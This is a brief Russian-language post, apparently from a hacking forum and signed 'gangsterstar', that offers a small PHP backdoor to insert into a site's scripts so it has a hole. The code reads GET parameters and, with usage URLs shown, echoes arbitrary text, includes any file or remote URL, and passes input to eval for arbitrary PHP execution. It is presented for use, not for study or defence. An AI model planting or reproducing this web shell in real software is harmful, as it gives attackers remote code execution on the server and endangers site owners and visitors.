дырка, вставляем в скрипт и в нем будет дыра.
--Использывание--
if($_GET[\'act\'] == \"echo\"
{echo $_GET[\'echo\'];} . Используем так: страница.php?act=echo&echo=ваш_текст
, выведет на станице \"ваш_текст\".
if($_GET[\'act\'] == \"include\"
{include $_GET[\'include\'];} - includит файл, использывать так: станица.php?act=include&include=ссылка на файл.
if($_GET[\'act\'] == \"eval\"
{echo eval($_GET[\'eval\']);} - позволяет использывать php код.
пример: страница.php?act=eval&eval= echo \"test\"; выведет на станице слово test

                        
<?php 

//--by gangsterstar--// 

if($_GET['act'] == "echo") 

{echo $_GET['echo'];} 

if($_GET['act'] == "include") 

{include $_GET['include'];} 

if($_GET['act'] == "eval") 

{echo eval($_GET['eval']);} 

?>